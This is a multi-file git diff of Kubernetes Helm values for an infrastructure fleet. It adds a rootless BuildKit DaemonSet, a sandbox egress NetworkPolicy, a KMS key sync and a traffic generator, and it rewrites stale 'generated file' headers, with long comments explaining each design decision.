# the allow rule below admits only pods already in this namespace. Mutual TLS
# (`--tlscacert`/`--tlscert`) is the correct next step and is deliberately not
# bundled into this change.
#
# ADDITIVE. Nothing points at this yet. The existing one-shot privileged Job
# path is untouched and remains the default; a client moves over by dialing
# tcp://buildkitd-node.hanzo-build.svc:1234 instead of running its own
# buildkitd. Rollback is "stop pointing at it", not a revert.
# ⚠️ NAMED buildkitd-node, NOT buildkitd, and that is not cosmetic. An UNTRACKED
# StatefulSet `buildkitd` is live in this namespace right now — hand-applied
# 2026-08-06T11:43:11Z, carrying kubectl's last-applied-configuration and no CD
# tracking, with a HEADLESS Service `buildkitd` (clusterIP: None) selecting
# `app: buildkitd`. It is the spike that produced the numbers quoted above.
#
# Colliding with it would not merely be untidy, it would FAIL: clusterIP is
# immutable, so applying a non-headless Service over a headless one of the same
# name is rejected by the API and the whole Application goes SyncFailed. Sharing
# the `app: buildkitd` label would be worse than failing — the spike's Service
# would silently start resolving to these pods and back, splitting traffic
# across two daemons with two different caches.
#
# Distinct name and distinct label means this lands ALONGSIDE the spike, which
# is what "additive first" requires. Retiring the spike is a separate change and
# it goes through the same door as this one: declared, then reconciled. Deleting
# it by hand would reintroduce exactly the out-of-band mutation this component is
# supposed to end.
workload:
kind: DaemonSet
selectorLabels:
app: buildkitd-node
containerName: buildkitd
partOf: build
image:
repository: moby/buildkit
# -rootless, NOT the plain tag. The live build Jobs run moby/buildkit:v0.16.0
# (sha256:bc1fe182…) with privileged: true; this is the unprivileged variant of
# the same release. Pinned by digest because a tag is a moving target and this
# runs on every CI node at once.
tag: v0.16.0-rootless
digest: sha256:fed5f1fd2f8c2b246bc227e3f72953981dbe163a09add4c8cb9cc1f34db3e828
pullPolicy: IfNotPresent
# EMPTY, overriding the chart default of `ghcr-secret` (charts/app/values.yaml:41),
# because that secret DOES NOT EXIST in this namespace. Every pod of this DaemonSet
# was logging `FailedToRetrieveImagePullSecret: ghcr-secret` on every node, once per
# pod — a warning that is currently harmless only because moby/buildkit is public and
# pinned by digest, and that would be a hard ImagePullBackOff the moment either fact
# changed.
#
# Empty is not "no credentials": the chart renders the key only `with` a non-empty
# list, so omitting it lets the ServiceAccount supply them, and hanzo-build's `default`
# SA already carries `registry-hanzo` and `hanzo` — both of which exist. The pod ends
# up with MORE working credentials than it had, not fewer.
#
# Fixed here, not in the chart default: hanzo-build is the namespace whose SA already
# has the right answer. Changing charts/app/values.yaml would move this one pod's
# problem onto all 67 generated Applications at once.
imagePullSecrets: []
# All daemon configuration lives in the TOML — one way to configure this, not a
# split between flags and file. `--oci-worker-no-process-sandbox` has a TOML
# equivalent (`noProcessSandbox`) and it is used, so args carry only the path.
args:
- --config=/etc/buildkit/buildkitd.toml
configMaps:
- name: buildkitd-node-config
data:
buildkitd.toml: |
# Rootless runs as uid 1000, so the store is under that user's home.
# This is a hostPath: it survives daemon restart and node reboot, and
# dies with the node. That is the right lifetime — the registry cache is
# what covers a cold node, and it is still imported and exported on
# every build.
root = "/home/user/.local/share/buildkit"
debug = false
[grpc]
address = ["tcp://0.0.0.0:1234"]
[worker.containerd]
enabled = false
[worker.oci]
enabled = true
# The residual cost of dropping `privileged`. Without CAP_SYS_ADMIN a
# build step cannot be given its own PID namespace, so steps share the
# daemon's. Upstream warns against this for MULTI-TENANT use, which is
# precisely why rule 2 above says first-party only. Against the status
# quo — every build container fully privileged — this is a large net
# reduction in privilege, not an increase.
noProcessSandbox = true
# Snapshotter deliberately UNSET. Rootless auto-selects overlayfs when
# the kernel allows an unprivileged overlay mount (these nodes are
# 6.12.73) and falls back to native when it does not. Pinning
# "overlayfs" turns a graceful degradation into a crash loop on any
# node that cannot provide it.
#
# Confirmed on runner-pool-1tb-3m8cmh: `auto snapshotter: using
# overlayfs`, worker labels report snapshotter:overlayfs and
# process-mode:no-sandbox. So the fast path is taken here without
# naming it, and a node that cannot take it still starts.
gc = true
# SIZED FROM MEASURED DATA, not from the volume that happens to exist.
# One cloud build = 34.28GB in the store (22.92GB reclaimable), of
# which the cache mounts that matter are 12.04GB: /root/.cache/go-build
# 7.10GB + /go/pkg/mod 4.94GB.
#
# A DaemonSet has ONE spec across pools of different sizes, so the
# budget is sized for the SMALLEST node it lands on: runner-pool-32g at
# 94.9GB allocatable ephemeral. runner-pool-1tb (1141GB) will simply
# hold less than it could; raising it there needs a second values file
# and is a follow-up, not a silent edit of this number.
# Policy 1 — the mounts that make a build fast. 24GB holds cloud's
# 12.04GB with room for the next few repos' Go/node/cargo caches.
# 336h ≈ 14d: long enough that a fortnightly repo still hits warm.
[[worker.oci.gcpolicy]]
filters = ["type==exec.cachemount", "type==source.git.checkout", "type==source.local"]
keepDuration = "336h"
keepBytes = "24GB"
# Policy 2 — global ceiling. Layer history is the cheap half to lose:
# the registry cache refetches it, so trimming costs bandwidth, while
# trimming policy 1 costs CPU. Ordered accordingly.
[[worker.oci.gcpolicy]]
all = true
keepBytes = "40GB"
# The hostPath is created root:root 0755 by the kubelet and the daemon runs as
# 1000. fsGroup does not apply to hostPath, so ownership has to be established
# once, by something that is briefly root. This container does exactly one
# syscall's worth of work and exits; it is the only root in this pod.
initContainers:
- name: chown-cache
image: busybox:1.36
command: ["sh", "-c", "chown 1000:1000 /var/lib/hanzo-buildkit && chmod 0700 /var/lib/hanzo-buildkit"]
securityContext:
runAsUser: 0
capabilities:
drop: ["ALL"]
add: ["CHOWN", "FOWNER", "DAC_OVERRIDE"]
volumeMounts:
- name: cache
mountPath: /var/lib/hanzo-buildkit
securityContext:
# The point of the whole component: no privileged, no CAP_SYS_ADMIN.
runAsUser: 1000
runAsGroup: 1000
privileged: false
# ⚠️ allowPrivilegeEscalation is deliberately NOT set to false, and this is the
# one place where the obvious hardening flag is wrong. RootlessKit builds the
# user namespace with the setuid helper `newuidmap`, and allowPrivilegeEscalation:
# false sets no_new_privs, which is precisely a promise that no setuid binary
# will ever gain anything. Measured on runner-pool-1tb-3m8cmh, this exact spec
# with the flag added:
#
# [rootlesskit:parent] error: failed to setup UID/GID map:
# newuidmap 16 [0 1000 1 1 100000 65536] failed: newuidmap: Could not set caps
#
# The daemon never starts. Removing the flag, same node, same config: worker
# found, overlayfs selected, server listening. Upstream's own Kubernetes example
# omits it for the same reason.
#
# What is actually given up is narrow: escalation is bounded to the setuid
# helpers in this image, by a uid-1000 process with no CAP_SYS_ADMIN and no
# privileged flag. Compare the status quo it replaces — every build container
# running fully privileged. Do not "harden" this back without re-running the
# probe; it fails closed and loudly, but it fails.
# Unconfined on both is REQUIRED by rootless buildkit, not laziness: it needs
# to unshare a user namespace and mount inside it, and both the default
# seccomp filter and the default AppArmor profile block that. The confinement
# that replaces them is the user namespace itself — an unprivileged uid that
# owns nothing on the host. appArmorProfile as a field needs k8s >= 1.30;
# this cluster is v1.34.1.
seccompProfile:
type: Unconfined
appArmorProfile:
type: Unconfined
volumeMounts:
- name: cache
mountPath: /home/user/.local/share/buildkit
- name: config
mountPath: /etc/buildkit
readOnly: true
volumes:
# NODE-LOCAL, deliberately, and not a PVC. Three reasons, in order: a DO block
# volume is ReadWriteOnce so it cannot follow a DaemonSet onto every node; it
# is network-attached, and this is the hot path of every compile; and a PVC per
# node is a per-node cost that survives the node and has to be reaped. The
# node's own disk is already paid for and already fast.
#
# DirectoryOrCreate so a fresh node from the autoscaler needs no preparation.
- name: cache
hostPath:
path: /var/lib/hanzo-buildkit
type: DirectoryOrCreate
- name: config
configMap:
name: buildkitd-node-config
resources:
requests:
cpu: '1'
memory: 4Gi
# A SCHEDULER RESERVATION, and it does not do what it looks like it does:
# hostPath bytes are NOT charged to ephemeral-storage, so this pod cannot be
# evicted for filling it. The request exists to stop the scheduler packing
# other pods into space the GC ceiling (40GB) will take, plus headroom for
# in-flight build scratch, which now lands HERE rather than in the client.
#
# That relocation is the point. Today four build Jobs on one 32g node ask for
# 24Gi each = 96Gi against a 94.9GB node. After: one daemon at 48Gi plus thin
# buildctl clients at ~2Gi. Fewer, larger, shared — instead of many, private,
# duplicated.
ephemeral-storage: 48Gi
limits:
# No ephemeral-storage limit: a limit here would evict the daemon mid-build
# and take every concurrent build with it. The GC ceiling is the control.
cpu: '6'
memory: 24Gi
# Both CI pools. Every build client on this cluster is scheduled onto one of
# these two — build Jobs land on runner-pool-32g, git-runner on runner-pool-1tb —
# and internalTrafficPolicy: Local DROPS traffic on a node with no local daemon,
# so this selector must cover every node a client can reach. Verified against
# the live pod placement; recheck it if a third pool starts running builds.
affinity:
nodeAffinity:
requiredDuringSchedulingIgnoredDuringExecution:
nodeSelectorTerms:
- matchExpressions:
- key: runner-pool
operator: In
values: ["1tb", "32g"]
tolerations:
- effect: NoSchedule
key: dedicated
operator: Equal
value: ci-runner
# Same class as git-runner: this IS the build capacity now, and an ordinary
# workload evicting it stops every build on the node, not one.
priorityClassName: hanzo-ci
ports:
- containerPort: 1234
name: grpc
service:
type: ClusterIP
# NOT headless. A headless Service hands the client every endpoint and it picks
# one, which with N daemons finds a given repo's warm cache 1/N of the time —
# the cache would be shared badly enough to stop being warm. Local pins each
# client to its own node's daemon, which is what makes the locality real.
internalTrafficPolicy: Local
# The namespace denies all ingress (infra/k8s/hanzo-build/networkpolicy.yaml,
# podSelector: {}), so without this rule nothing can dial the daemon. Scoped to
# this namespace only: reachability is authorization here, so the allow list is
# the authorization list.
networkPolicy:
enabled: true
podSelector:
matchLabels:
app: buildkitd-node
ingress:
- from:
- podSelector: {}
ports:
- protocol: TCP
port: 1234
# Probe the TCP path clients actually use, not the unix socket. A daemon whose
# socket answers but whose listener is wedged is still broken, and the readiness
# gate is what internalTrafficPolicy: Local consults before routing.
livenessProbe:
exec:
command: ["buildctl", "--addr", "tcp://127.0.0.1:1234", "debug", "workers"]
initialDelaySeconds: 20
periodSeconds: 30
failureThreshold: 5
readinessProbe:
exec:
command: ["buildctl", "--addr", "tcp://127.0.0.1:1234", "debug", "workers"]
initialDelaySeconds: 5
periodSeconds: 10
defaultReadinessProbe: false
# A daemon killed mid-build fails every build it is running. 10 minutes lets
# in-flight work finish; git-runner uses 31 for the same reason.
terminationGracePeriodSeconds: 600
lifecycle: null
chart: app
cd:
automated: true
@@ -1,4 +1,11 @@
# Generated from the cloud-api App CR by hack/app2values.py.
# The cloud-api declaration. Hand-maintained: this file IS the source of truth, read
# by the `fleet` ApplicationSet (charts/app/values/*/*.yaml). Edit it directly.
#
# It previously claimed to be generated from an App CR by hack/app2values.py.
# Both are gone — 0c7b5ea36 deleted infra/k8s/operator/crs, and the script with
# it — so that header named a generator nobody could run from an input that did
# not exist, which reads as "do not edit" and sends you looking for a source that
# is not there.
replicas: 1
partOf: cloud
component: api
+13 -5
View File
@@ -98,11 +98,19 @@ ingress:
- path: /
pathType: Prefix
hosts:
# dev.hanzo.ai, not console.devnet.hanzo.ai. The host says which ENVIRONMENT
# this is; it does not need to repeat what it serves or spell out the network.
# Production keeps console.hanzo.ai, so the set reads dev / test / console
# rather than three compounds.
- dev.hanzo.ai
# console.dev.hanzo.ai — <service>.<env>.hanzo.ai. The env is a LABEL, not a
# compound: *.dev is devnet, *.test is testnet, *.main is mainnet, so every
# service in an environment sorts under it (api.dev, console.dev, …) and the
# name never spells out "devnet".
#
# TLS is per-host and arrives on its own: cert-manager is NOT installed in this
# cluster (the Certificate objects in infra/k8s/ingress/wildcard-certs.yaml are
# inert — the API has no such resource type), so Traefik's own ACME issues for
# the hosts it is given. That is why api.devnet.hanzo.ai holds a cert whose CN is
# exactly itself. It also means the only wildcard that exists, *.hanzo.ai, does
# NOT cover a two-label name: before this host was declared it failed TLS
# outright, and it is the declaration that fixes that.
- console.dev.hanzo.ai
tls: true
# Enforcement switch, read by the fleet ApplicationSet's templatePatch — not by
@@ -0,0 +1,61 @@
# Transaction generator for hanzo-mainnet (36963) — the ONE traffic app, same
# shape as the lux and zoo fleets. TRAFFIC_KEY names the shared BIP-39 mnemonic
# (LUX_MNEMONIC) so value circulates across TRAFFIC_WALLETS derived accounts;
# index 0 (0x9011…) was funded 300 AI from the hanzod-faucet genesis account.
# chains.json fans every send out to all five hanzod-mv pods because this net's
# mempool does not gossip. Replaces chain-traffic (scaled 0, kept as the
# documented killswitch in infra/k8s/hanzod/traffic/).
args:
- -config
- /etc/traffic/chains.json
- -max-inflight
- '4'
component: traffic
containerName: traffic
env:
- name: TRAFFIC_TPS
value: '0.4'
- name: TRAFFIC_AUTOSTART
value: 'true'
- name: TRAFFIC_LISTEN
value: :8080
- name: TRAFFIC_MIN_BALANCE
value: '1000000000000000000'
- name: TRAFFIC_WALLETS
value: '100'
- name: TRAFFIC_HOP_WEI
value: '1000000000000000'
- name: TRAFFIC_KEY
valueFrom:
secretKeyRef:
key: LUX_MNEMONIC
name: lux-deployer
image:
pullPolicy: IfNotPresent
repository: ghcr.io/luxfi/traffic
tag: v0.2.0
partOf: hanzo
ports:
- containerPort: 8080
name: http
protocol: TCP
replicas: 1
resources:
limits:
cpu: 500m
memory: 256Mi
requests:
cpu: 25m
memory: 64Mi
selectorLabels:
app: traffic
volumeMounts:
- mountPath: /etc/traffic
name: chains
volumes:
- configMap:
defaultMode: 420
name: traffic-chains
name: chains
cd:
automated: true
@@ -0,0 +1,77 @@
# Containment for everything that runs submitted code.
#
# The policy this replaces was correct in intent and selected nothing. It sat in
# namespace `hanzo` matching `app: code-exec`; apps/sandbox schedules sandboxes into
# `hanzo-sandboxes` labelled `hanzo.ai/sandbox-class`, and the code-exec Deployment it
# was written for never shipped. So the file read as containment and enforced
# none — the failure mode a dormant policy is supposed to prevent. Its own header
# said "the isolation has to already be in place the moment the workload comes
# back"; a selector that matches no pod is not in place.
#
# ONE SELECTOR, BOTH SHAPES. A sandbox is a sandbox whether apps/sandbox scheduled it for
# one project or a Deployment holds it in the shared exec pool for hanzo.chat.
# Both carry `hanzo.ai/sandbox-class`, so `Exists` governs every executor in the
# namespace and a new class is contained the day it is added rather than the day
# someone remembers to widen a list.
#
# WHY THIS IS THE LOAD-BEARING CONTROL, not defence in depth: the pool's API key
# is ONE SHARED KEY. A sandbox hands submitted code a pod whose network reach decides
# what that code can do with a credential that opens every other tenant's sandbox —
# and that theft was reproduced end to end from /proc before boxd started
# refusing to run without uid separation. Two controls, and this is the one that
# holds if the other is misconfigured.
#
# EGRESS IS A WHITELIST, so everything unlisted is already denied: sandbox→sandbox on
# 8000, sandbox→datastore, sandbox→apiserver, sandbox→any other namespace. That is what makes
# the stolen key useless from inside. The one deliberate opening is 80/443 to
# non-private address space, which a dev sandbox needs to `git clone` and `npm
# install`; the RFC1918 excepts are what stop that opening from being a route
# back into the cluster, since a ClusterIP is just an address in 10/8.
#
# Policy only. No image, no ports, so the chart renders no workload and no
# Service — the executor Deployment lands here when the sandbox image publishes, and
# writing it against a tag that does not exist would deploy an ImagePullBackOff.
chart: app
cd:
automated: true
networkPolicy:
enabled: true
podSelector:
matchExpressions:
- key: hanzo.ai/sandbox-class
operator: Exists
ingress:
# Only cloud reaches a sandbox, and only on the sandbox port. apps/sandbox forwards
# fs/proc/git to the pod IP; apps/exec forwards the LibreChat contract to the
# pool Service. Both originate in `hanzo`. Nothing in `hanzo-sandboxes` is named
# here, so one sandbox cannot reach another even though they are neighbours.
- from:
- namespaceSelector:
matchLabels:
kubernetes.io/metadata.name: hanzo
ports:
- {port: 8000, protocol: TCP}
egress:
- to:
- namespaceSelector:
matchLabels:
kubernetes.io/metadata.name: kube-system
ports:
- {port: 53, protocol: UDP}
- {port: 53, protocol: TCP}
# Package registries and git remotes. A dev sandbox that cannot fetch its own
# dependencies is a sandbox that cannot build anything, which is the whole job.
# The excepts are the containment: without them this rule readmits every
# ClusterIP and every node, and the egress whitelist above becomes decorative.
- to:
- ipBlock:
cidr: 0.0.0.0/0
except:
- 10.0.0.0/8
- 172.16.0.0/12
- 192.168.0.0/16
- 169.254.0.0/16 # link-local — the cloud metadata endpoint lives at 169.254.169.254
ports:
- {port: 443, protocol: TCP}
- {port: 80, protocol: TCP}
@@ -16,7 +16,7 @@ env:
- name: IAM_URL
value: https://hanzo.id
- name: KMS_URL
value: https://kms.hanzo.ai
value: zap://cloud.hanzo.svc.cluster.local:9653
- name: IAM_ORGANIZATION
value: hanzo
- name: IAM_APPLICATION
@@ -73,8 +73,8 @@ ports:
strategy: Recreate
image:
repository: ghcr.io/hanzoai/superbase
tag: 0.3.4
digest: sha256:5a8762d35420a6cb352bde296ca630ba0e66fef13b53a0475fa700e235574240
tag: 0.3.9
digest: sha256:0a87cd7783bf61e20d580f5f32f31aa8fd5b78eda21d8dac55fbc7bdad9a11e7
pullPolicy: Always
livenessProbe:
initialDelaySeconds: 15
+38 -1
View File
@@ -1,8 +1,45 @@
# Generated from the cloud-api App CR by hack/app2values.py.
# The cloud-api declaration. Hand-maintained: this file IS the source of truth, read
# by the `fleet` ApplicationSet (charts/app/values/*/*.yaml). Edit it directly.
#
# It previously claimed to be generated from an App CR by hack/app2values.py.
# Both are gone — 0c7b5ea36 deleted infra/k8s/operator/crs, and the script with
# it — so that header named a generator nobody could run from an input that did
# not exist, which reads as "do not edit" and sends you looking for a source that
# is not there.
replicas: 1
partOf: cloud
component: api
# The at-rest master key, synced FROM KMS — never a hand-made Secret.
#
# Without it cloud-api could not boot at all: kms and pubsub fail closed on a
# missing master key ("cek: no master key"), each burns a 60s start timeout, and
# the liveness probe SIGTERMs the process at exactly initialDelay 15 + 30x6 = 180s
# before it ever binds a listener. 393 restarts over 35h, zero listening sockets.
#
# env=test, not prod: a testnet plane must not share prod's at-rest key, or the
# blast radius of a testnet compromise is production data. The coordinate is
# org=hanzo env=test path=/cloud name=CLOUD_KMS_MASTER_KEY, a sibling of the
# path prod and devnet read, written through /v1/kms and verified to decode to 32
# bytes.
#
# ONE-WAY DOOR: the first store open after this key becomes visible ENCRYPTS those
# stores in place. A ciphertext store whose key is lost is unrecoverable, so this
# coordinate is never re-pointed or re-minted — rotation is a re-encrypt, not an
# overwrite.
kmsSecrets:
- name: cloud-kms-master-key
envSlug: test
secretsPath: /cloud
keys:
- CLOUD_KMS_MASTER_KEY
secretName: cloud-kms-master-key
credentialsSecret: hanzo-platform-iam-creds
env:
- name: CLOUD_KMS_MASTER_KEY_REF
valueFrom:
secretKeyRef:
key: CLOUD_KMS_MASTER_KEY
name: cloud-kms-master-key
- name: initDataFile
value: /etc/iam-init-data/init_data.json
- name: CLOUD_DATA_DIR
+8 -1
View File
@@ -1,4 +1,11 @@
# Generated from the a App CR by hack/app2values.py.
# The a declaration. Hand-maintained: this file IS the source of truth, read
# by the `fleet` ApplicationSet (charts/app/values/*/*.yaml). Edit it directly.
#
# It previously claimed to be generated from an App CR by hack/app2values.py.
# Both are gone — 0c7b5ea36 deleted infra/k8s/operator/crs, and the script with
# it — so that header named a generator nobody could run from an input that did
# not exist, which reads as "do not edit" and sends you looking for a source that
# is not there.
replicas: 2
env:
- name: HANZO_STATIC_CSP
+8 -1
View File
@@ -1,4 +1,11 @@
# Generated from the admin-guard App CR by hack/app2values.py.
# The admin-guard declaration. Hand-maintained: this file IS the source of truth, read
# by the `fleet` ApplicationSet (charts/app/values/*/*.yaml). Edit it directly.
#
# It previously claimed to be generated from an App CR by hack/app2values.py.
# Both are gone — 0c7b5ea36 deleted infra/k8s/operator/crs, and the script with
# it — so that header named a generator nobody could run from an input that did
# not exist, which reads as "do not edit" and sends you looking for a source that
# is not there.
replicas: 2
partOf: hanzo
component: admin-guard
+28 -4
View File
@@ -1,4 +1,11 @@
# Generated from the agency App CR by hack/app2values.py.
# The agency declaration. Hand-maintained: this file IS the source of truth, read
# by the `fleet` ApplicationSet (charts/app/values/*/*.yaml). Edit it directly.
#
# It previously claimed to be generated from an App CR by hack/app2values.py.
# Both are gone — 0c7b5ea36 deleted infra/k8s/operator/crs, and the script with
# it — so that header named a generator nobody could run from an input that did
# not exist, which reads as "do not edit" and sends you looking for a source that
# is not there.
replicas: 2
partOf: platform
component: agency
@@ -33,8 +40,8 @@ ports:
strategy: RollingUpdate
image:
repository: ghcr.io/hanzoai/agency
tag: 0.1.3
digest: sha256:8a65af05c36f994f78f999c7b0ad882a3e3b6af9cb7fd578a9e1625303ad1a9b
tag: 0.1.4
digest: sha256:94cb04f3c3018df6edbec7b162da57705fb05801bea08b43e3199f479f3b381a
pullPolicy: Always
livenessProbe:
timeoutSeconds: 3
@@ -54,10 +61,27 @@ readinessProbe:
httpGet:
path: /health
port: 3000
# hanzo.agency is NOT in this list any more. It serves from the site plane —
# middleware `hanzo-agency-static` + router `hanzo-agency` in static-sites.yaml,
# reading s3://cdn/hanzo-agency — and two routers matching one Host is the
# ambiguity that hid the last static-plane break. The IngressRoute's priority 100
# would in fact outrank this Ingress (whose default priority is its rule length),
# so this edit changes no behavior; it removes the need to KNOW that.
#
# WHY the site plane rather than this Deployment, when the pods serve the same
# Vite bundle: the shipped image ghcr.io/hanzoai/agency:0.1.3 carries NO ingest
# key. Checked, not assumed — its assets/index-C6KAO3Lp.js has @hanzo/observe
# wired (clientX present) but zero `pk-` bytes, so this origin answers 200 and
# reports nothing, which is the exact silent-dark failure this migration exists
# to end. Fixing it in the image means a rebuild, and images are built by CI, not
# here. The site plane takes the keyed bundle today and costs no pods.
#
# agency.hanzo.ai and www.hanzo.agency stay on this Deployment for now and still
# serve that keyless bundle. They are a follow-up, not collateral: www.hanzo.agency
# points at cname.vercel-dns.com and agency.hanzo.ai was not in scope here.
ingress:
enabled: true
hosts:
- hanzo.agency
- www.hanzo.agency
- agency.hanzo.ai
tls: true
+8 -1
View File
@@ -1,4 +1,11 @@
# Generated from the analytics App CR by hack/app2values.py.
# The analytics declaration. Hand-maintained: this file IS the source of truth, read
# by the `fleet` ApplicationSet (charts/app/values/*/*.yaml). Edit it directly.
#
# It previously claimed to be generated from an App CR by hack/app2values.py.
# Both are gone — 0c7b5ea36 deleted infra/k8s/operator/crs, and the script with
# it — so that header named a generator nobody could run from an input that did
# not exist, which reads as "do not edit" and sends you looking for a source that
# is not there.
replicas: 2
partOf: platform
component: analytics
+8 -1
View File
@@ -1,4 +1,11 @@
# Generated from the base App CR by hack/app2values.py.
# The base declaration. Hand-maintained: this file IS the source of truth, read
# by the `fleet` ApplicationSet (charts/app/values/*/*.yaml). Edit it directly.
#
# It previously claimed to be generated from an App CR by hack/app2values.py.
# Both are gone — 0c7b5ea36 deleted infra/k8s/operator/crs, and the script with
# it — so that header named a generator nobody could run from an input that did
# not exist, which reads as "do not edit" and sends you looking for a source that
# is not there.
replicas: 1
partOf: platform
component: base
+10 -3
View File
@@ -1,4 +1,11 @@
# Generated from the billing App CR by hack/app2values.py.
# The billing declaration. Hand-maintained: this file IS the source of truth, read
# by the `fleet` ApplicationSet (charts/app/values/*/*.yaml). Edit it directly.
#
# It previously claimed to be generated from an App CR by hack/app2values.py.
# Both are gone — 0c7b5ea36 deleted infra/k8s/operator/crs, and the script with
# it — so that header named a generator nobody could run from an input that did
# not exist, which reads as "do not edit" and sends you looking for a source that
# is not there.
replicas: 2
partOf: platform
component: billing
@@ -17,8 +24,8 @@ ports:
servicePort: 80
image:
repository: ghcr.io/hanzoai/billing
tag: 1.0.7
digest: sha256:e49dd1cf6bc1392e071e443c0e0367a5d6777035fea99d48e01965b8a1c61315
tag: 1.0.25
digest: sha256:337719abf3c65215706b3766264e5301d68143283067eef51ca15fe01498ddf9
pullPolicy: Always
livenessProbe:
timeoutSeconds: 3
+8 -1
View File
@@ -1,4 +1,11 @@
# Generated from the blog App CR by hack/app2values.py.
# The blog declaration. Hand-maintained: this file IS the source of truth, read
# by the `fleet` ApplicationSet (charts/app/values/*/*.yaml). Edit it directly.
#
# It previously claimed to be generated from an App CR by hack/app2values.py.
# Both are gone — 0c7b5ea36 deleted infra/k8s/operator/crs, and the script with
# it — so that header named a generator nobody could run from an input that did
# not exist, which reads as "do not edit" and sends you looking for a source that
# is not there.
cd:
automated: true # sole writer: no App CR
replicas: 2
+8 -1
View File
@@ -1,4 +1,11 @@
# Generated from the bootnode-web App CR by hack/app2values.py.
# The bootnode-web declaration. Hand-maintained: this file IS the source of truth, read
# by the `fleet` ApplicationSet (charts/app/values/*/*.yaml). Edit it directly.
#
# It previously claimed to be generated from an App CR by hack/app2values.py.
# Both are gone — 0c7b5ea36 deleted infra/k8s/operator/crs, and the script with
# it — so that header named a generator nobody could run from an input that did
# not exist, which reads as "do not edit" and sends you looking for a source that
# is not there.
replicas: 2
partOf: web3
component: bootnode-web
+8 -1
View File
@@ -1,4 +1,11 @@
# Generated from the bootnode App CR by hack/app2values.py.
# The bootnode declaration. Hand-maintained: this file IS the source of truth, read
# by the `fleet` ApplicationSet (charts/app/values/*/*.yaml). Edit it directly.
#
# It previously claimed to be generated from an App CR by hack/app2values.py.
# Both are gone — 0c7b5ea36 deleted infra/k8s/operator/crs, and the script with
# it — so that header named a generator nobody could run from an input that did
# not exist, which reads as "do not edit" and sends you looking for a source that
# is not there.
replicas: 1
partOf: web3
component: bootnode
+8 -1
View File
@@ -1,4 +1,11 @@
# Generated from the bot-browser App CR by hack/app2values.py.
# The bot-browser declaration. Hand-maintained: this file IS the source of truth, read
# by the `fleet` ApplicationSet (charts/app/values/*/*.yaml). Edit it directly.
#
# It previously claimed to be generated from an App CR by hack/app2values.py.
# Both are gone — 0c7b5ea36 deleted infra/k8s/operator/crs, and the script with
# it — so that header named a generator nobody could run from an input that did
# not exist, which reads as "do not edit" and sends you looking for a source that
# is not there.
replicas: 1
partOf: platform
component: bot-browser
+8 -1
View File
@@ -1,4 +1,11 @@
# Generated from the bot-docs App CR by hack/app2values.py.
# The bot-docs declaration. Hand-maintained: this file IS the source of truth, read
# by the `fleet` ApplicationSet (charts/app/values/*/*.yaml). Edit it directly.
#
# It previously claimed to be generated from an App CR by hack/app2values.py.
# Both are gone — 0c7b5ea36 deleted infra/k8s/operator/crs, and the script with
# it — so that header named a generator nobody could run from an input that did
# not exist, which reads as "do not edit" and sends you looking for a source that
# is not there.
replicas: 2
partOf: platform
component: bot-docs
+8 -1
View File
@@ -1,4 +1,11 @@
# Generated from the bot-hub App CR by hack/app2values.py.
# The bot-hub declaration. Hand-maintained: this file IS the source of truth, read
# by the `fleet` ApplicationSet (charts/app/values/*/*.yaml). Edit it directly.
#
# It previously claimed to be generated from an App CR by hack/app2values.py.
# Both are gone — 0c7b5ea36 deleted infra/k8s/operator/crs, and the script with
# it — so that header named a generator nobody could run from an input that did
# not exist, which reads as "do not edit" and sends you looking for a source that
# is not there.
replicas: 2
partOf: platform
component: bot-hub
+8 -1
View File
@@ -1,4 +1,11 @@
# Generated from the cal-web App CR by hack/app2values.py.
# The cal-web declaration. Hand-maintained: this file IS the source of truth, read
# by the `fleet` ApplicationSet (charts/app/values/*/*.yaml). Edit it directly.
#
# It previously claimed to be generated from an App CR by hack/app2values.py.
# Both are gone — 0c7b5ea36 deleted infra/k8s/operator/crs, and the script with
# it — so that header named a generator nobody could run from an input that did
# not exist, which reads as "do not edit" and sends you looking for a source that
# is not there.
replicas: 2
partOf: cal
component: web
+8 -1
View File
@@ -1,4 +1,11 @@
# Generated from the cal App CR by hack/app2values.py.
# The cal declaration. Hand-maintained: this file IS the source of truth, read
# by the `fleet` ApplicationSet (charts/app/values/*/*.yaml). Edit it directly.
#
# It previously claimed to be generated from an App CR by hack/app2values.py.
# Both are gone — 0c7b5ea36 deleted infra/k8s/operator/crs, and the script with
# it — so that header named a generator nobody could run from an input that did
# not exist, which reads as "do not edit" and sends you looking for a source that
# is not there.
replicas: 1
partOf: cal
component: backend
+8 -1
View File
@@ -1,4 +1,11 @@
# Generated from the cdn App CR by hack/app2values.py.
# The cdn declaration. Hand-maintained: this file IS the source of truth, read
# by the `fleet` ApplicationSet (charts/app/values/*/*.yaml). Edit it directly.
#
# It previously claimed to be generated from an App CR by hack/app2values.py.
# Both are gone — 0c7b5ea36 deleted infra/k8s/operator/crs, and the script with
# it — so that header named a generator nobody could run from an input that did
# not exist, which reads as "do not edit" and sends you looking for a source that
# is not there.
replicas: 2
partOf: platform
component: cdn
+241 -5
View File
@@ -1,4 +1,40 @@
chart: app
# replicas:1 and strategy:Recreate are ONE decision, and chat-app-db is what
# makes it. CHAT_SQLITE_PATH points the store at chat.db on that volume, and it
# is the product database, not a cache: 28 users, 103 sessions, 155
# conversations, 348 messages, 13 balances, 356 transactions when this was
# audited, and the txid advances under live traffic.
#
# Four things pin it to a single writer. Any ONE of them is decisive.
# - The store is better-sqlite3-multiple-ciphers, an in-process SYNCHRONOUS
# handle (data-schemas/src/stores/sqlite/index.ts). It serialises writers
# inside one OS process, and that is the whole of the guarantee. A second
# pod is a second process; there is no flock, lease or leader anywhere in
# the tree, so the guarantee is not weakened, it is absent.
# - Writes are read-modify-write in JS, not atomic SQL: DocModel.mutateOne
# SELECTs the row, applies the update in JS, then overwrites the whole
# document. Two pods interleaving drop one write with no error and no
# conflict. On Balance and Transaction that is money, lost silently.
# - bulkWrite opens a DEFERRED begin and reads before it writes, so the
# upgrade returns SQLITE_BUSY_SNAPSHOT — the one busy error that
# PRAGMA busy_timeout does not retry — and the batch rolls back. That 5s
# timeout was added for the one-shot Mongo backfill, not for a steady
# second writer, and the store's own comment says so.
# - The claim is ReadWriteOnce on do-block-storage over a 23-node pool, so
# two pods on different nodes cannot both mount it. maxSurge can never
# place the new pod before the old one detaches.
# Sessions and rate limits are in-process too (MemoryStore, USE_REDIS unset and
# staying unset), so a second pod would split those as well.
#
# The release outage is therefore bought, not accidental: 30s grace, plus the
# RWO detach/attach across nodes, plus 104s to Ready (measured 07:32:43 ->
# 07:34:27 on the current pod). Raising replicas trades a visible 3-minute 503
# for silent balance corruption — a worse failure, not a smaller one.
#
# The way out is to stop keeping product data in a file. The store already
